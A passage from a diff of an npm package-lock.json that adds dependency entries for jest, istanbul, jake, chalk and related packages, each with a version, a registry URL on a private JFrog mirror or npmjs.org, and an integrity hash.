"2.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-weakset/-/is-weakset-2.0.2.tgz", + "integrity": "sha512-t2yVvttHkQktwnNNmBQ98AhENLdPUTDTE21uPqAQ0ARwQfGeQKRVS0NNurH7bTf7RrvcVn1OOge45CnBeHCSmg==", + "requires": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.1.1" + } + }, + "is-wsl": { + "version": "2.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-wsl/-/is-wsl-2.2.0.tgz", + "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==", + "requires": { + "is-docker": "^2.0.0" + } + }, + "isarray": { + "version": "2.0.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/isarray/-/isarray-2.0.5.tgz", + "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==" + }, + "isexe": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==" + }, + "istanbul-lib-coverage": { + "version": "3.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.0.tgz", + "integrity": "sha512-eOeJ5BHCmHYvQK7xt9GkdHuzuCGS1Y6g9Gvnx3Ym33fz/HpLRYxiS0wHNr+m/MBC8B647Xt608vCDEvhl9c6Mw==" + }, + "istanbul-lib-instrument": { + "version": "5.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/istanbul-lib-instrument/-/istanbul-lib-instrument-5.2.1.tgz", + "integrity": "sha512-pzqtp31nLv/XFOzXGuvhCb8qhjmTVo5vjVk19XE4CRlSWz0KoeJ3bw9XsA7nOp9YBf4qHjwBxkDzKcME/J29Yg==", + "requires": { + "@babel/core": "^7.12.3", + "@babel/parser": "^7.14.7", + "@istanbuljs/schema": "^0.1.2", + "istanbul-lib-coverage": "^3.2.0", + "semver": "^6.3.0" + }, + "dependencies": { + "semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==" + } + } + }, + "istanbul-lib-report": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz", + "integrity": "sha512-wcdi+uAKzfiGT2abPpKZ0hSU1rGQjUQnLvtY5MpQ7QCTahD3VODhcu4wcfY1YtkGaDD5yuydOLINXsfbus9ROw==", + "requires": { + "istanbul-lib-coverage": "^3.0.0", + "make-dir": "^3.0.0", + "supports-color": "^7.1.0" + }, + "dependencies": { + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "istanbul-lib-source-maps": { + "version": "4.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.1.tgz", + "integrity": "sha512-n3s8EwkdFIJCG3BPKBYvskgXGoy88ARzvegkitk60NxRdwltLOTaH7CUiMRXvwYorl0Q712iEjcWB+fK/MrWVw==", + "requires": { + "debug": "^4.1.1", + "istanbul-lib-coverage": "^3.0.0", + "source-map": "^0.6.1" + }, + "dependencies": { + "source-map": { + "version": "0.6.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==" + } + } + }, + "istanbul-reports": { + "version": "3.1.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/istanbul-reports/-/istanbul-reports-3.1.5.tgz", + "integrity": "sha512-nUsEMa9pBt/NOHqbcbeJEgqIlY/K7rVWUX6Lql2orY5e9roQOthbR3vtY4zzf2orPELg80fnxxk9zUyPlgwD1w==", + "requires": { + "html-escaper": "^2.0.0", + "istanbul-lib-report": "^3.0.0" + } + }, + "jake": { + "version": "10.8.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jake/-/jake-10.8.7.tgz", + "integrity": "sha512-ZDi3aP+fG/LchyBzUM804VjddnwfSfsdeYkwt8NcbKRvo4rFkjhs456iLFn3k2ZUWvNe4i48WACDbza8fhq2+w==", + "requires": { + "async": "^3.2.3", + "chalk": "^4.0.2", + "filelist": "^1.0.4", + "minimatch": "^3.1.2" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "jest": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest/-/jest-27.5.1.tgz", + "integrity": "sha512-Yn0mADZB89zTtjkPJEXwrac3LHudkQMR+Paqa8uxJHCBr9agxztUifWCyiYrjhMPBoUVBjyny0I7XH6ozDr7QQ==", + "requires": { + "@jest/core": "^27.5.1", + "import-local": "^3.0.2", + "jest-cli": "^27.5.1" + } + }, + "jest-changed-files": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-changed-files/-/jest-changed-files-27.5.1.tgz", + "integrity": "sha512-buBLMiByfWGCoMsLLzGUUSpAmIAGnbR2KJoMN10ziLhOLvP4e0SlypHnAel8iqQXTrcbmfEY9sSqae5sgUsTvw==", + "requires": { + "@jest/types": "^27.5.1", + "execa": "^5.0.0", + "throat": "^6.0.1" + } + }, + "jest-circus": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-circus/-/jest-circus-27.5.1.tgz", + "integrity": "sha512-D95R7x5UtlMA5iBYsOHFFbMD/GVA4R/Kdq15f7xYWUfWHBto9NYRsOvnSauTgdF+ogCpJ4tyKOXhUifxS65gdw==", + "requires": { + "@jest/environment": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "co": "^4.6.0", + "dedent": "^0.7.0", + "expect": "^27.5.1", + "is-generator-fn": "^2.0.0", + "jest-each": "^27.5.1", + "jest-matcher-utils": "^27.5.1", + "jest-message-util": "^27.5.1", + "jest-runtime": "^27.5.1", + "jest-snapshot": "^27.5.1", + "jest-util": "^27.5.1", + "pretty-format": "^27.5.1", + "slash": "^3.0.0", + "stack-utils": "^2.0.3", + "throat": "^6.0.1" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "jest-cli": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-cli/-/jest-cli-27.5.1.tgz", + "integrity": "sha512-Hc6HOOwYq4/74/c62dEE3r5elx8wjYqxY0r0G/nFrLDPMFRu6RA/u8qINOIkvhxG7mMQ5EJsOGfRpI8L6eFUVw==", + "requires": { + "@jest/core": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/types": "^27.5.1", + "chalk": "^4.0.0", + "exit": "^0.1.2", + "graceful-fs": "^4.2.9", + "import-local": "^3.0.2", + "jest-config": "^27.5.1", + "jest-util": "^27.5.1", + "jest-validate": "^27.5.1", + "prompts": "^2.0.1", + "yargs": "^16.2.0" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "jest-config": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-config/-/jest-config-27.5.1.tgz", + "integrity": "sha512-5sAsjm6tGdsVbW9ahcChPAFCk4IlkQUknH5AvKjuLTSlcO/wCZKyFdn7Rg0EkC+OGgWODEy2hDpWB1PgzH0JNA==", + "requires": { + "@babel/core": "^7.8.0", + "@jest/test-sequencer": "^27.5.1", + "@jest/types": "^27.5.1", + "babel-jest": "^27.5.1", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "deepmerge": "^4.2.2", + "glob": "^7.1.1", + "graceful-fs": "^4.2.9", + "jest-circus": "^27.5.1", + "jest-environment-jsdom": "^27.5.1", + "jest-environment-node": "^27.5.1", + "jest-get-type": "^27.5.1", + "jest-jasmine2": "^27.5.1", + "jest-regex-util": "^27.5.1", + "jest-resolve": "^27.5.1", + "jest-runner": "^27.5.1", + "jest-util": "^27.5.1", + "jest-validate": "^27.5.1", + "micromatch": "^4.0.4", + "parse-json": "^5.2.0", + "pretty-format": "^27.5.1", + "slash": "^3.0.0", + "strip-json-comments": "^3.1.1" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "jest-diff": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-diff/-/jest-diff-27.5.1.tgz", + "integrity": "sha512-m0NvkX55LDt9T4mctTEgnZk3fmEg3NRYutvMPWM/0iPnkFj2wIeF45O1718cMSOFO1vINkqmxqD8vE37uTEbqw==", + "requires": { + "chalk": "^4.0.0", + "diff-sequences": "^27.5.1", + "jest-get-type": "^27.5.1", + "pretty-format": "^27.5.1" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "jest-docblock": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-docblock/-/jest-docblock-27.5.1.tgz", + "integrity": "sha512-rl7hlABeTsRYxKiUfpHrQrG4e2obOiTQWfMEH3PxPjOtdsfLQO4ReWSZaQ7DETm4xu07rl4q/h4zcKXyU0/OzQ==", + "requires": { + "detect-newline": "^3.0.0" + } + }, + "jest-each": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-each/-/jest-each-27.5.1.tgz", + "integrity": "sha512-1Ff6p+FbhT/bXQnEouYy00bkNSY7OUpfIcmdl8vZ31A1UUaurOLPA8a8BbJOF2RDUElwJhmeaV7LnagI+5UwNQ==", + "requires": { + "@jest/types": "^27.5.1", + "chalk": "^4.0.0", + "jest-get-type": "^27.5.1", + "jest-util": "^27.5.1", + "pretty-format": "^27.5.1" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "jest-environment-jsdom": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-environment-jsdom/-/jest-environment-jsdom-27.5.1.tgz", + "integrity": "sha512-TFBvkTC1Hnnnrka/fUb56atfDtJ9VMZ94JkjTbggl1PEpwrYtUBKMezB3inLmWqQsXYLcMwNoDQwoBTAvFfsfw==", + "requires": { + "@jest/environment": "^27.5.1", + "@jest/fake-timers": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "jest-mock": "^27.5.1", + "jest-util": "^27.5.1", + "jsdom": "^16.6.0" + } + }, + "jest-environment-node": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-environment-node/-/jest-environment-node-27.5.1.tgz", + "integrity": "sha512-Jt4ZUnxdOsTGwSRAfKEnE6BcwsSPNOijjwifq5sDFSA2kesnXTvNqKHYgM0hDq3549Uf/KzdXNYn4wMZJPlFLw==", + "requires": { + "@jest/environment": "^27.5.1", + "@jest/fake-timers": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "jest-mock": "^27.5.1", + "jest-util": "^27.5.1" + } + }, + "jest-get-type": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-get-type/-/jest-get-type-27.5.1.tgz", + "integrity": "sha512-2KY95ksYSaK7DMBWQn6dQz3kqAf3BB64y2udeG+hv4KfSOb9qwcYQstTJc1KCbsix+wLZWZYN8t7nwX3GOBLRw==" + }, + "jest-haste-map": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-haste-map/-/jest-haste-map-27.5.1.tgz", + "integrity": "sha512-7GgkZ4Fw4NFbMSDSpZwXeBiIbx+t/46nJ2QitkOjvwPYyZmqttu2TDSimMHP1EkPOi4xUZAN1doE5Vd25H4Jng==", + "requires": { + "@jest/types": "^27.5.1", + "@types/graceful-fs": "^4.1.2", + "@types/node": "*", + "anymatch": "^3.0.3", + "fb-watchman": "^2.0.0", + "fsevents": "^2.3.2", + "graceful-fs": "^4.2.9", + "jest-regex-util": "^27.5.1", + "jest-serializer": "^27.5.1", + "jest-util": "^27.5.1", + "jest-worker": "^27.5.1", + "micromatch": "^4.0.4", + "walker": "^1.0.7" + } + }, + "jest-jasmine2": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-jasmine2/-/jest-jasmine2-27.5.1.tgz", + "integrity": "sha512-jtq7VVyG8SqAorDpApwiJJImd0V2wv1xzdheGHRGyuT7gZm6gG47QEskOlzsN1PG/6WNaCo5pmwMHDf3AkG2pQ==", + "requires": { + "@jest/environment": "^27.5.1", + "@jest/source-map": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "co": "^4.6.0", + "expect": "^27.5.1", + "is-generator-fn": "^2.0.0", + "jest-each": "^27.5.1", + "jest-matcher-utils": "^27.5.1", + "jest-message-util": "^27.5.1", + "jest-runtime": "^27.5.1", + "jest-snapshot": "^27.5.1", + "jest-util": "^27.5.1", + "pretty-format": "^27.5.1", + "throat": "^6.0.1" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": 